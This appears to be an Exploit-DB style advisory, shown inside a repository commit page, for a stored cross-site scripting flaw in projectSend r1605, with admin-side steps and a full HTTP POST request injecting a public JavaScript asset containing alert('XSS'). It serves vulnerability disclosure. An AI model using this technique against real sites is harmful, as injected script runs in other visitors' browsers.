158fcdfd5c
11 changes to exploits/shellcodes/ghdb Anevia Flamingo XL 3.2.9 - Remote Root Jailbreak Anevia Flamingo XL 3.6.20 - Authenticated Root Remote Code Execution Anevia Flamingo XS 3.6.5 - Authenticated Root Remote Code Execution Monstra 3.0.4 - Stored Cross-Site Scripting (XSS) Online Thesis Archiving System v1.0 - Multiple-SQLi projectSend r1605 - CSV injection projectSend r1605 - Stored XSS Textpattern CMS v4.8.8 - Stored Cross-Site Scripting (XSS) (Authenticated) Xoops CMS 2.5.10 - Stored Cross-Site Scripting (XSS) (Authenticated) PyLoad 0.5.0 - Pre-auth Remote Code Execution (RCE)
46 lines
No EOL
1.6 KiB
Text
46 lines
No EOL
1.6 KiB
Text
Exploit Title: projectSend r1605 - Stored XSS
|
|
Application: projectSend
|
|
Version: r1605
|
|
Bugs: Stored Xss
|
|
Technology: PHP
|
|
Vendor URL: https://www.projectsend.org/
|
|
Software Link: https://www.projectsend.org/
|
|
Date of found: 11-06-2023
|
|
Author: Mirabbas Ağalarov
|
|
Tested on: Linux
|
|
|
|
2. Technical Details & POC
|
|
========================================
|
|
|
|
1. Login as admin
|
|
2. Go to Custom Html/Css/Js (http://localhost/custom-assets.php)
|
|
3. Go to new JS (http://localhost/custom-assets-add.php?language=js)
|
|
4. Set content as alert("xss"); and set public
|
|
5. And Save
|
|
6. Go to http://localhost (logout)
|
|
|
|
payload: alert("xss")
|
|
|
|
POST /custom-assets-add.php HTTP/1.1
|
|
Host: localhost
|
|
Content-Length: 171
|
|
Cache-Control: max-age=0
|
|
sec-ch-ua: "Chromium";v="113", "Not-A.Brand";v="24"
|
|
sec-ch-ua-mobile: ?0
|
|
sec-ch-ua-platform: "Linux"
|
|
Upgrade-Insecure-Requests: 1
|
|
Origin: http://localhost
|
|
Content-Type: application/x-www-form-urlencoded
|
|
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/113.0.5672.127 Safari/537.36
|
|
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
|
|
Sec-Fetch-Site: same-origin
|
|
Sec-Fetch-Mode: navigate
|
|
Sec-Fetch-User: ?1
|
|
Sec-Fetch-Dest: document
|
|
Referer: http://localhost/custom-assets-add.php?language=js
|
|
Accept-Encoding: gzip, deflate
|
|
Accept-Language: en-US,en;q=0.9
|
|
Cookie: log_download_started=false; PHPSESSID=7j8g8u9t7khb259ci4fvareg2l
|
|
Connection: close
|
|
|
|
csrf_token=222b49c5c4a1755c451637f17ef3e7ea8bb5b6ee616293bd73d15d0e608d9dab&language=js&title=test&content=alert%28%22XSS%22%29%3B&enabled=on&location=public&position=head |